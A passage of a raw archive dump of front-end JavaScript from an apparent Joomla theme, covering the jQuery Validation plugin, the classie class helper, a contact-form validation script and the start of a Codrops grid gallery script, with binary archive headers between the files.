					return false;
				}

				rulesCache[this.name] = true;
				return true;
			});
		},

		clean: function( selector ) {
			return $(selector)[0];
		},

		errors: function() {
			var errorClass = this.settings.errorClass.replace(" ", ".");
			return $(this.settings.errorElement + "." + errorClass, this.errorContext);
		},

		reset: function() {
			this.successList = [];
			this.errorList = [];
			this.errorMap = {};
			this.toShow = $([]);
			this.toHide = $([]);
			this.currentElements = $([]);
		},

		prepareForm: function() {
			this.reset();
			this.toHide = this.errors().add( this.containers );
		},

		prepareElement: function( element ) {
			this.reset();
			this.toHide = this.errorsFor(element);
		},

		elementValue: function( element ) {
			var type = $(element).attr("type"),
				val = $(element).val();

			if ( type === "radio" || type === "checkbox" ) {
				return $("input[name='" + $(element).attr("name") + "']:checked").val();
			}

			if ( typeof val === "string" ) {
				return val.replace(/\r/g, "");
			}
			return val;
		},

		check: function( element ) {
			element = this.validationTargetFor( this.clean( element ) );

			var rules = $(element).rules();
			var dependencyMismatch = false;
			var val = this.elementValue(element);
			var result;

			for (var method in rules ) {
				var rule = { method: method, parameters: rules[method] };
				try {

					result = $.validator.methods[method].call( this, val, element, rule.parameters );

					// if a method indicates that the field is optional and therefore valid,
					// don't mark it as valid when there are no other rules
					if ( result === "dependency-mismatch" ) {
						dependencyMismatch = true;
						continue;
					}
					dependencyMismatch = false;

					if ( result === "pending" ) {
						this.toHide = this.toHide.not( this.errorsFor(element) );
						return;
					}

					if ( !result ) {
						this.formatAndAdd( element, rule );
						return false;
					}
				} catch(e) {
					if ( this.settings.debug && window.console ) {
						console.log( "Exception occurred when checking element " + element.id + ", check the '" + rule.method + "' method.", e );
					}
					throw e;
				}
			}
			if ( dependencyMismatch ) {
				return;
			}
			if ( this.objectLength(rules) ) {
				this.successList.push(element);
			}
			return true;
		},

		// return the custom message for the given element and validation method
		// specified in the element's HTML5 data attribute
		customDataMessage: function( element, method ) {
			return $(element).data("msg-" + method.toLowerCase()) || (element.attributes && $(element).attr("data-msg-" + method.toLowerCase()));
		},

		// return the custom message for the given element name and validation method
		customMessage: function( name, method ) {
			var m = this.settings.messages[name];
			return m && (m.constructor === String ? m : m[method]);
		},

		// return the first defined argument, allowing empty strings
		findDefined: function() {
			for(var i = 0; i < arguments.length; i++) {
				if ( arguments[i] !== undefined ) {
					return arguments[i];
				}
			}
			return undefined;
		},

		defaultMessage: function( element, method ) {
			return this.findDefined(
				this.customMessage( element.name, method ),
				this.customDataMessage( element, method ),
				// title is never undefined, so handle empty string as undefined
				!this.settings.ignoreTitle && element.title || undefined,
				$.validator.messages[method],
				"<strong>Warning: No message defined for " + element.name + "</strong>"
			);
		},

		formatAndAdd: function( element, rule ) {
			var message = this.defaultMessage( element, rule.method ),
				theregex = /\$?\{(\d+)\}/g;
			if ( typeof message === "function" ) {
				message = message.call(this, rule.parameters, element);
			} else if (theregex.test(message)) {
				message = $.validator.format(message.replace(theregex, "{$1}"), rule.parameters);
			}
			this.errorList.push({
				message: message,
				element: element
			});

			this.errorMap[element.name] = message;
			this.submitted[element.name] = message;
		},

		addWrapper: function( toToggle ) {
			if ( this.settings.wrapper ) {
				toToggle = toToggle.add( toToggle.parent( this.settings.wrapper ) );
			}
			return toToggle;
		},

		defaultShowErrors: function() {
			var i, elements;
			for ( i = 0; this.errorList[i]; i++ ) {
				var error = this.errorList[i];
				if ( this.settings.highlight ) {
					this.settings.highlight.call( this, error.element, this.settings.errorClass, this.settings.validClass );
				}
				this.showLabel( error.element, error.message );
			}
			if ( this.errorList.length ) {
				this.toShow = this.toShow.add( this.containers );
			}
			if ( this.settings.success ) {
				for ( i = 0; this.successList[i]; i++ ) {
					this.showLabel( this.successList[i] );
				}
			}
			if ( this.settings.unhighlight ) {
				for ( i = 0, elements = this.validElements(); elements[i]; i++ ) {
					this.settings.unhighlight.call( this, elements[i], this.settings.errorClass, this.settings.validClass );
				}
			}
			this.toHide = this.toHide.not( this.toShow );
			this.hideErrors();
			this.addWrapper( this.toShow ).show();
		},

		validElements: function() {
			return this.currentElements.not(this.invalidElements());
		},

		invalidElements: function() {
			return $(this.errorList).map(function() {
				return this.element;
			});
		},

		showLabel: function( element, message ) {
			var label = this.errorsFor( element );
			if ( label.length ) {
				// refresh error/success class
				label.removeClass( this.settings.validClass ).addClass( this.settings.errorClass );
				// replace message on existing label
				label.html(message);
			} else {
				// create label
				label = $("<" + this.settings.errorElement + ">")
					.attr("for", this.idOrName(element))
					.addClass(this.settings.errorClass)
					.html(message || "");
				if ( this.settings.wrapper ) {
					// make sure the element is visible, even in IE
					// actually showing the wrapped element is handled elsewhere
					label = label.hide().show().wrap("<" + this.settings.wrapper + "/>").parent();
				}
				if ( !this.labelContainer.append(label).length ) {
					if ( this.settings.errorPlacement ) {
						this.settings.errorPlacement(label, $(element) );
					} else {
						label.insertAfter(element);
					}
				}
			}
			if ( !message && this.settings.success ) {
				label.text("");
				if ( typeof this.settings.success === "string" ) {
					label.addClass( this.settings.success );
				} else {
					this.settings.success( label, element );
				}
			}
			this.toShow = this.toShow.add(label);
		},

		errorsFor: function( element ) {
			var name = this.idOrName(element);
			return this.errors().filter(function() {
				return $(this).attr("for") === name;
			});
		},

		idOrName: function( element ) {
			return this.groups[element.name] || (this.checkable(element) ? element.name : element.id || element.name);
		},

		validationTargetFor: function( element ) {
			// if radio/checkbox, validate first element in group instead
			if ( this.checkable(element) ) {
				element = this.findByName( element.name ).not(this.settings.ignore)[0];
			}
			return element;
		},

		checkable: function( element ) {
			return (/radio|checkbox/i).test(element.type);
		},

		findByName: function( name ) {
			return $(this.currentForm).find("[name='" + name + "']");
		},

		getLength: function( value, element ) {
			switch( element.nodeName.toLowerCase() ) {
			case "select":
				return $("option:selected", element).length;
			case "input":
				if ( this.checkable( element) ) {
					return this.findByName(element.name).filter(":checked").length;
				}
			}
			return value.length;
		},

		depend: function( param, element ) {
			return this.dependTypes[typeof param] ? this.dependTypes[typeof param](param, element) : true;
		},

		dependTypes: {
			"boolean": function( param, element ) {
				return param;
			},
			"string": function( param, element ) {
				return !!$(param, element.form).length;
			},
			"function": function( param, element ) {
				return param(element);
			}
		},

		optional: function( element ) {
			var val = this.elementValue(element);
			return !$.validator.methods.required.call(this, val, element) && "dependency-mismatch";
		},

		startRequest: function( element ) {
			if ( !this.pending[element.name] ) {
				this.pendingRequest++;
				this.pending[element.name] = true;
			}
		},

		stopRequest: function( element, valid ) {
			this.pendingRequest--;
			// sometimes synchronization fails, make sure pendingRequest is never < 0
			if ( this.pendingRequest < 0 ) {
				this.pendingRequest = 0;
			}
			delete this.pending[element.name];
			if ( valid && this.pendingRequest === 0 && this.formSubmitted && this.form() ) {
				$(this.currentForm).submit();
				this.formSubmitted = false;
			} else if (!valid && this.pendingRequest === 0 && this.formSubmitted) {
				$(this.currentForm).triggerHandler("invalid-form", [this]);
				this.formSubmitted = false;
			}
		},

		previousValue: function( element ) {
			return $.data(element, "previousValue") || $.data(element, "previousValue", {
				old: null,
				valid: true,
				message: this.defaultMessage( element, "remote" )
			});
		}

	},

	classRuleSettings: {
		required: {required: true},
		email: {email: true},
		url: {url: true},
		date: {date: true},
		dateISO: {dateISO: true},
		number: {number: true},
		digits: {digits: true},
		creditcard: {creditcard: true}
	},

	addClassRules: function( className, rules ) {
		if ( className.constructor === String ) {
			this.classRuleSettings[className] = rules;
		} else {
			$.extend(this.classRuleSettings, className);
		}
	},

	classRules: function( element ) {
		var rules = {};
		var classes = $(element).attr("class");
		if ( classes ) {
			$.each(classes.split(" "), function() {
				if ( this in $.validator.classRuleSettings ) {
					$.extend(rules, $.validator.classRuleSettings[this]);
				}
			});
		}
		return rules;
	},

	attributeRules: function( element ) {
		var rules = {};
		var $element = $(element);
		var type = $element[0].getAttribute("type");

		for (var method in $.validator.methods) {
			var value;

			// support for <input required> in both html5 and older browsers
			if ( method === "required" ) {
				value = $element.get(0).getAttribute(method);
				// Some browsers return an empty string for the required attribute
				// and non-HTML5 browsers might have required="" markup
				if ( value === "" ) {
					value = true;
				}
				// force non-HTML5 browsers to return bool
				value = !!value;
			} else {
				value = $element.attr(method);
			}

			// convert the value to a number for number inputs, and for text for backwards compability
			// allows type="date" and others to be compared as strings
			if ( /min|max/.test( method ) && ( type === null || /number|range|text/.test( type ) ) ) {
				value = Number(value);
			}

			if ( value ) {
				rules[method] = value;
			} else if ( type === method && type !== 'range' ) {
				// exception: the jquery validate 'range' method
				// does not test for the html5 'range' type
				rules[method] = true;
			}
		}

		// maxlength may be returned as -1, 2147483647 (IE) and 524288 (safari) for text inputs
		if ( rules.maxlength && /-1|2147483647|524288/.test(rules.maxlength) ) {
			delete rules.maxlength;
		}

		return rules;
	},

	dataRules: function( element ) {
		var method, value,
			rules = {}, $element = $(element);
		for (method in $.validator.methods) {
			value = $element.data("rule-" + method.toLowerCase());
			if ( value !== undefined ) {
				rules[method] = value;
			}
		}
		return rules;
	},

	staticRules: function( element ) {
		var rules = {};
		var validator = $.data(element.form, "validator");
		if ( validator.settings.rules ) {
			rules = $.validator.normalizeRule(validator.settings.rules[element.name]) || {};
		}
		return rules;
	},

	normalizeRules: function( rules, element ) {
		// handle dependency check
		$.each(rules, function( prop, val ) {
			// ignore rule when param is explicitly false, eg. required:false
			if ( val === false ) {
				delete rules[prop];
				return;
			}
			if ( val.param || val.depends ) {
				var keepRule = true;
				switch (typeof val.depends) {
				case "string":
					keepRule = !!$(val.depends, element.form).length;
					break;
				case "function":
					keepRule = val.depends.call(element, element);
					break;
				}
				if ( keepRule ) {
					rules[prop] = val.param !== undefined ? val.param : true;
				} else {
					delete rules[prop];
				}
			}
		});

		// evaluate parameters
		$.each(rules, function( rule, parameter ) {
			rules[rule] = $.isFunction(parameter) ? parameter(element) : parameter;
		});

		// clean number parameters
		$.each(['minlength', 'maxlength'], function() {
			if ( rules[this] ) {
				rules[this] = Number(rules[this]);
			}
		});
		$.each(['rangelength', 'range'], function() {
			var parts;
			if ( rules[this] ) {
				if ( $.isArray(rules[this]) ) {
					rules[this] = [Number(rules[this][0]), Number(rules[this][1])];
				} else if ( typeof rules[this] === "string" ) {
					parts = rules[this].split(/[\s,]+/);
					rules[this] = [Number(parts[0]), Number(parts[1])];
				}
			}
		});

		if ( $.validator.autoCreateRanges ) {
			// auto-create ranges
			if ( rules.min && rules.max ) {
				rules.range = [rules.min, rules.max];
				delete rules.min;
				delete rules.max;
			}
			if ( rules.minlength && rules.maxlength ) {
				rules.rangelength = [rules.minlength, rules.maxlength];
				delete rules.minlength;
				delete rules.maxlength;
			}
		}

		return rules;
	},

	// Converts a simple string to a {string: true} rule, e.g., "required" to {required:true}
	normalizeRule: function( data ) {
		if ( typeof data === "string" ) {
			var transformed = {};
			$.each(data.split(/\s/), function() {
				transformed[this] = true;
			});
			data = transformed;
		}
		return data;
	},

	// http://docs.jquery.com/Plugins/Validation/Validator/addMethod
	addMethod: function( name, method, message ) {
		$.validator.methods[name] = method;
		$.validator.messages[name] = message !== undefined ? message : $.validator.messages[name];
		if ( method.length < 3 ) {
			$.validator.addClassRules(name, $.validator.normalizeRule(name));
		}
	},

	methods: {

		// http://docs.jquery.com/Plugins/Validation/Methods/required
		required: function( value, element, param ) {
			// check if dependency is met
			if ( !this.depend(param, element) ) {
				return "dependency-mismatch";
			}
			if ( element.nodeName.toLowerCase() === "select" ) {
				// could be an array for select-multiple or a string, both are fine this way
				var val = $(element).val();
				return val && val.length > 0;
			}
			if ( this.checkable(element) ) {
				return this.getLength(value, element) > 0;
			}
			return $.trim(value).length > 0;
		},

		// http://docs.jquery.com/Plugins/Validation/Methods/email
		email: function( value, element ) {
			// contributed by Scott Gonzalez: http://projects.scottsplayground.com/email_address_validation/
			return this.optional(element) || /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))$/i.test(value);
		},

		// http://docs.jquery.com/Plugins/Validation/Methods/url
		url: function( value, element ) {
			// contributed by Scott Gonzalez: http://projects.scottsplayground.com/iri/
			return this.optional(element) || /^(https?|s?ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i.test(value);
		},

		// http://docs.jquery.com/Plugins/Validation/Methods/date
		date: function( value, element ) {
			return this.optional(element) || !/Invalid|NaN/.test(new Date(value).toString());
		},

		// http://docs.jquery.com/Plugins/Validation/Methods/dateISO
		dateISO: function( value, element ) {
			return this.optional(element) || /^\d{4}[\/\-]\d{1,2}[\/\-]\d{1,2}$/.test(value);
		},

		// http://docs.jquery.com/Plugins/Validation/Methods/number
		number: function( value, element ) {
			return this.optional(element) || /^-?(?:\d+|\d{1,3}(?:,\d{3})+)?(?:\.\d+)?$/.test(value);
		},

		// http://docs.jquery.com/Plugins/Validation/Methods/digits
		digits: function( value, element ) {
			return this.optional(element) || /^\d+$/.test(value);
		},

		// http://docs.jquery.com/Plugins/Validation/Methods/creditcard
		// based on http://en.wikipedia.org/wiki/Luhn
		creditcard: function( value, element ) {
			if ( this.optional(element) ) {
				return "dependency-mismatch";
			}
			// accept only spaces, digits and dashes
			if ( /[^0-9 \-]+/.test(value) ) {
				return false;
			}
			var nCheck = 0,
				nDigit = 0,
				bEven = false;

			value = value.replace(/\D/g, "");

			for (var n = value.length - 1; n >= 0; n--) {
				var cDigit = value.charAt(n);
				nDigit = parseInt(cDigit, 10);
				if ( bEven ) {
					if ( (nDigit *= 2) > 9 ) {
						nDigit -= 9;
					}
				}
				nCheck += nDigit;
				bEven = !bEven;
			}

			return (nCheck % 10) === 0;
		},

		// http://docs.jquery.com/Plugins/Validation/Methods/minlength
		minlength: function( value, element, param ) {
			var length = $.isArray( value ) ? value.length : this.getLength($.trim(value), element);
			return this.optional(element) || length >= param;
		},

		// http://docs.jquery.com/Plugins/Validation/Methods/maxlength
		maxlength: function( value, element, param ) {
			var length = $.isArray( value ) ? value.length : this.getLength($.trim(value), element);
			return this.optional(element) || length <= param;
		},

		// http://docs.jquery.com/Plugins/Validation/Methods/rangelength
		rangelength: function( value, element, param ) {
			var length = $.isArray( value ) ? value.length : this.getLength($.trim(value), element);
			return this.optional(element) || ( length >= param[0] && length <= param[1] );
		},

		// http://docs.jquery.com/Plugins/Validation/Methods/min
		min: function( value, element, param ) {
			return this.optional(element) || value >= param;
		},

		// http://docs.jquery.com/Plugins/Validation/Methods/max
		max: function( value, element, param ) {
			return this.optional(element) || value <= param;
		},

		// http://docs.jquery.com/Plugins/Validation/Methods/range
		range: function( value, element, param ) {
			return this.optional(element) || ( value >= param[0] && value <= param[1] );
		},

		// http://docs.jquery.com/Plugins/Validation/Methods/equalTo
		equalTo: function( value, element, param ) {
			// bind to the blur event of the target in order to revalidate whenever the target field is updated
			// TODO find a way to bind the event just once, avoiding the unbind-rebind overhead
			var target = $(param);
			if ( this.settings.onfocusout ) {
				target.unbind(".validate-equalTo").bind("blur.validate-equalTo", function() {
					$(element).valid();
				});
			}
			return value === target.val();
		},

		// http://docs.jquery.com/Plugins/Validation/Methods/remote
		remote: function( value, element, param ) {
			if ( this.optional(element) ) {
				return "dependency-mismatch";
			}

			var previous = this.previousValue(element);
			if (!this.settings.messages[element.name] ) {
				this.settings.messages[element.name] = {};
			}
			previous.originalMessage = this.settings.messages[element.name].remote;
			this.settings.messages[element.name].remote = previous.message;

			param = typeof param === "string" && {url:param} || param;

			if ( previous.old === value ) {
				return previous.valid;
			}

			previous.old = value;
			var validator = this;
			this.startRequest(element);
			var data = {};
			data[element.name] = value;
			$.ajax($.extend(true, {
				url: param,
				mode: "abort",
				port: "validate" + element.name,
				dataType: "json",
				data: data,
				success: function( response ) {
					validator.settings.messages[element.name].remote = previous.originalMessage;
					var valid = response === true || response === "true";
					if ( valid ) {
						var submitted = validator.formSubmitted;
						validator.prepareElement(element);
						validator.formSubmitted = submitted;
						validator.successList.push(element);
						delete validator.invalid[element.name];
						validator.showErrors();
					} else {
						var errors = {};
						var message = response || validator.defaultMessage( element, "remote" );
						errors[element.name] = previous.message = $.isFunction(message) ? message(value) : message;
						validator.invalid[element.name] = true;
						validator.showErrors(errors);
					}
					previous.valid = valid;
					validator.stopRequest(element, valid);
				}
			}, param));
			return "pending";
		}

	}

});

// deprecated, use $.validator.format instead
$.format = $.validator.format;

}(jQuery));

// ajax mode: abort
// usage: $.ajax({ mode: "abort"[, port: "uniqueport"]});
// if mode:"abort" is used, the previous request on that port (port can be undefined) is aborted via XMLHttpRequest.abort()
(function($) {
	var pendingRequests = {};
	// Use a prefilter if available (1.5+)
	if ( $.ajaxPrefilter ) {
		$.ajaxPrefilter(function( settings, _, xhr ) {
			var port = settings.port;
			if ( settings.mode === "abort" ) {
				if ( pendingRequests[port] ) {
					pendingRequests[port].abort();
				}
				pendingRequests[port] = xhr;
			}
		});
	} else {
		// Proxy ajax
		var ajax = $.ajax;
		$.ajax = function( settings ) {
			var mode = ( "mode" in settings ? settings : $.ajaxSettings ).mode,
				port = ( "port" in settings ? settings : $.ajaxSettings ).port;
			if ( mode === "abort" ) {
				if ( pendingRequests[port] ) {
					pendingRequests[port].abort();
				}
				pendingRequests[port] = ajax.apply(this, arguments);
				return pendingRequests[port];
			}
			return ajax.apply(this, arguments);
		};
	}
}(jQuery));

// provides delegate(type: String, delegate: Selector, handler: Callback) plugin for easier event delegation
// handler is only called when $(event.target).is(delegate), in the scope of the jquery-object for event.target
(function($) {
	$.extend($.fn, {
		validateDelegate: function( delegate, type, handler ) {
			return this.bind(type, function( event ) {
				var target = $(event.target);
				if ( target.is(delegate) ) {
					return handler.apply(target, arguments);
				}
			});
		}
	});
}(jQuery));
PK!��P++bluetheme/assets/js/classie.jsnu&1i�/*!
 * classie - class helper functions
 * from bonzo https://github.com/ded/bonzo
 * 
 * classie.has( elem, 'my-class' ) -> true/false
 * classie.add( elem, 'my-new-class' )
 * classie.remove( elem, 'my-unwanted-class' )
 * classie.toggle( elem, 'my-class' )
 */

/*jshint browser: true, strict: true, undef: true */
/*global define: false */

( function( window ) {

'use strict';

// class helper functions from bonzo https://github.com/ded/bonzo

function classReg( className ) {
  return new RegExp("(^|\\s+)" + className + "(\\s+|$)");
}

// classList support for class management
// altho to be fair, the api sucks because it won't accept multiple classes at once
var hasClass, addClass, removeClass;

if ( 'classList' in document.documentElement ) {
  hasClass = function( elem, c ) {
    return elem.classList.contains( c );
  };
  addClass = function( elem, c ) {
    elem.classList.add( c );
  };
  removeClass = function( elem, c ) {
    elem.classList.remove( c );
  };
}
else {
  hasClass = function( elem, c ) {
    return classReg( c ).test( elem.className );
  };
  addClass = function( elem, c ) {
    if ( !hasClass( elem, c ) ) {
      elem.className = elem.className + ' ' + c;
    }
  };
  removeClass = function( elem, c ) {
    elem.className = elem.className.replace( classReg( c ), ' ' );
  };
}

function toggleClass( elem, c ) {
  var fn = hasClass( elem, c ) ? removeClass : addClass;
  fn( elem, c );
}

var classie = {
  // full names
  hasClass: hasClass,
  addClass: addClass,
  removeClass: removeClass,
  toggleClass: toggleClass,
  // short names
  has: hasClass,
  add: addClass,
  remove: removeClass,
  toggle: toggleClass
};

// transport
if ( typeof define === 'function' && define.amd ) {
  // AMD
  define( classie );
} else {
  // browser global
  window.classie = classie;
}

})( window );
PK!��
��	�	&bluetheme/assets/js/form-validation.jsnu&1i�jQuery(document).ready(function() {

	// hide messages 
	jQuery(".error").hide();
	jQuery(".success").hide();
	
	jQuery('#contact-form input').click(function(e) {
        jQuery(".error").fadeOut();
    });
	
	// on submit...
	jQuery("#contact-form #submit_btn").click(function(event) {		
		event.preventDefault();
		jQuery(".error").hide();
		//required:
		
		//name
		var name = jQuery("input#name").val();
		if(name == ""){
			//$("#error").fadeIn().text("Name required.");
			jQuery('#fname').fadeIn('slow');
			jQuery("input#name").focus();
			return false;
		}
		
		//email (check if entered anything)
		var email = jQuery("input#email").val();
		//email (check if entered anything)
		if(email == ""){
			//$("#error").fadeIn().text("Email required");
			jQuery('#fmail').fadeIn('slow');
			jQuery("input#email").focus();
			return false;
		}
		
		//email (check if email entered is valid)

		if (email !== "") {  // If something was entered
			if (!isValidEmailAddress(email)) {
				jQuery('#fmail').fadeIn('slow'); //error message
				jQuery("input#email").focus();   //focus on email field
				return false;  
			}
		} 

	function isValidEmailAddress(emailAddress) {
	    var pattern = new RegExp(/^(("[\w-+\s]+")|([\w-+]+(?:\.[\w-+]+)*)|("[\w-+\s]+")([\w-+]+(?:\.[\w-+]+)*))(@((?:[\w-+]+\.)*\w[\w-+]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$)|(@\[?((25[0-5]\.|2[0-4][\d]\.|1[\d]{2}\.|[\d]{1,2}\.))((25[0-5]|2[0-4][\d]|1[\d]{2}|[\d]{1,2})\.){2}(25[0-5]|2[0-4][\d]|1[\d]{2}|[\d]{1,2})\]?$)/i);
	    return pattern.test(emailAddress);
	};

		// comments
		var comments = jQuery("#message").val();
		
		if(comments == ""){
			//$("#error").fadeIn().text("Email required");
			jQuery('#fmsg').fadeIn('slow');
			jQuery("input#message").focus();
			return false;
		}
		var action = jQuery('#contact-form').attr('action');		
		action = 'index.php?option=com_blue_pagebuilder&task=page.contact&tmpl=component';
		
		jQuery.ajax({            
			type: 'POST',            
			url: action,            
			dataType: 'json',            
			data: jQuery('#contact-form').serialize(),            
			success: function(data) {		
				if(jQuery("#contact-form .g-recaptcha").length){
				   grecaptcha.reset();
				}                
				jQuery('.success').text(data.message);                
				success();            
			}        
		});
	});  
		
		
	// on success...
	 function success(){
	 	jQuery(".success").fadeIn().delay(5000).fadeOut();
	 	jQuery("#contact-form")[0].reset();//.fadeOut();
	 }
	
    return false;
});PK!��K�/�/%bluetheme/assets/js/cbpGridGallery.jsnu&1i�/**
 * cbpGridGallery.js v1.0.0
 * http://www.codrops.com
 *
 * Licensed under the MIT license.
 * http://www.opensource.org/licenses/mit-license.php
 * 
 * Copyright 2014, Codrops
 * http://www.codrops.com
 */
;( function( window ) {
	
	'use strict';

	var docElem = window.document.documentElement,
		transEndEventNames = {
			'WebkitTransition': 'webkitTransitionEnd',
			'MozTransition': 'transitionend',
			'OTransition': 'oTransitionEnd',
			'msTransition': 'MSTransitionEnd',
			'transition': 'transitionend'
		},
		transEndEventName = transEndEventNames[ Modernizr.prefixed( 'transition' ) ],
		support = {
			transitions : Modernizr.csstransitions,
			support3d : Modernizr.csstransforms3d
		};

	function setTransform( el, transformStr ) {
		el.style.WebkitTransform = transformStr;
		el.style.msTransform = transformStr;
		el.style.transform = transformStr;
	}

	// from http://responsejs.com/labs/dimensions/
	function getViewportW() {
		var client = docElem['clientWidth'],
			inner = window['innerWidth'];
		
		if( client < inner )
			return inner;
		else
			return client;
	}

	function extend( a, b ) {
		for( var key in b ) { 
			if( b.hasOwnProperty( key ) ) {
				a[key] = b[key];
			}
		}
		return a;
	}

	function CBPGridGallery( el, options ) {
		this.el = el;
		this.options = extend( {}, this.options );
  		extend( this.options, options );
  		this._init();
	}

	CBPGridGallery.prototype.options = {
	};

	CBPGridGallery.prototype._init = function() {
		// main grid
		this.grid = this.el.querySelector( 'section.grid-wrap > ul.grid' );
		// main grid items
		this.gridItems = [].slice.call( this.grid.querySelectorAll( 'li:not(.grid-sizer)' ) );
		// items total
		this.itemsCount = this.gridItems.length;
		// slideshow grid
		this.slideshow = this.el.querySelector( 'section.slideshow > ul' );
		// slideshow grid items
		this.slideshowItems = [].slice.call( this.slideshow.children );
		// index of current slideshow item
		this.current = -1;
		// slideshow control buttons
		this.ctrlPrev = this.el.querySelector( 'section.slideshow > nav > span.nav-prev' );
		this.ctrlNext = this.el.querySelector( 'section.slideshow > nav > span.nav-next' );
		this.ctrlClose = this.el.querySelector( 'section.slideshow > nav > span.nav-close' );
		// init masonry grid
		this._initMasonry();
		// init events
		this._initEvents();
	};

	CBPGridGallery.prototype._initMasonry = function() {
		var grid = this.grid;
		imagesLoaded( grid, function() {
			new Masonry( grid, {
				itemSelector: 'li',
				columnWidth: grid.querySelector( '.grid-sizer' )
			});
		});
	};

	CBPGridGallery.prototype._initEvents = function() {
		var self = this;

		// open the slideshow when clicking on the main grid items
		this.gridItems.forEach( function( item, idx ) {
			item.addEventListener( 'click', function() {
				self._openSlideshow( idx );
			} );
		} );

		// slideshow controls
		this.ctrlPrev.addEventListener( 'click', function() { self._navigate( 'prev' ); } );
		this.ctrlNext.addEventListener( 'click', function() { self._navigate( 'next' ); } );
		this.ctrlClose.addEventListener( 'click', function() { self._closeSlideshow(); } );

		// window resize
		window.addEventListener( 'resize', function() { self._resizeHandler(); } );

		// keyboard navigation events
		document.addEventListener( 'keydown', function( ev ) {
			if ( self.isSlideshowVisible ) {
				var keyCode = ev.keyCode || ev.which;

				switch (keyCode) {
					case 37:
						self._navigate( 'prev' );
						break;
					case 39:
						self._navigate( 'next' );
						break;
					case 27:
						self._closeSlideshow();
						break;
				}
			}
		} );

		// trick to prevent scrolling when slideshow is visible
		window.addEventListener( 'scroll', function() {
			if ( self.isSlideshowVisible ) {
				window.scrollTo( self.scrollPosition ? self.scrollPosition.x : 0, self.scrollPosition ? self.scrollPosition.y : 0 );
			}
			else {
				self.scrollPosition = { x : window.pageXOffset || docElem.scrollLeft, y : window.pageYOffset || docElem.scrollTop };
			}
		});
	};

	CBPGridGallery.prototype._openSlideshow = function( pos ) {
		this.isSlideshowVisible = true;
		this.current = pos;

		classie.addClass( this.el, 'slideshow-open' );

		/* position slideshow items */

		// set viewport items (current, next and previous)
		this._setViewportItems();
		
		// add class "current" and "show" to currentItem
		classie.addClass( this.currentItem, 'current' );
		classie.addClass( this.currentItem, 'show' );

		// add class show to next and previous items
		// position previous item on the left side and the next item on the right side
		if( this.prevItem ) {
			classie.addClass( this.prevItem, 'show' );
			var translateVal = Number( -1 * ( getViewportW() / 2 + this.prevItem.offsetWidth / 2 ) );
			setTransform( this.prevItem, support.support3d ? 'translate3d(' + translateVal + 'px, 0, -150px)' : 'translate(' + translateVal + 'px)' );
		}
		if( this.nextItem ) {
			classie.addClass( this.nextItem, 'show' );
			var translateVal = Number( getViewportW() / 2 + this.nextItem.offsetWidth / 2 );
			setTransform( this.nextItem, support.support3d ? 'translate3d(' + translateVal + 'px, 0, -150px)' : 'translate(' + translateVal + 'px)' );
		}
	};

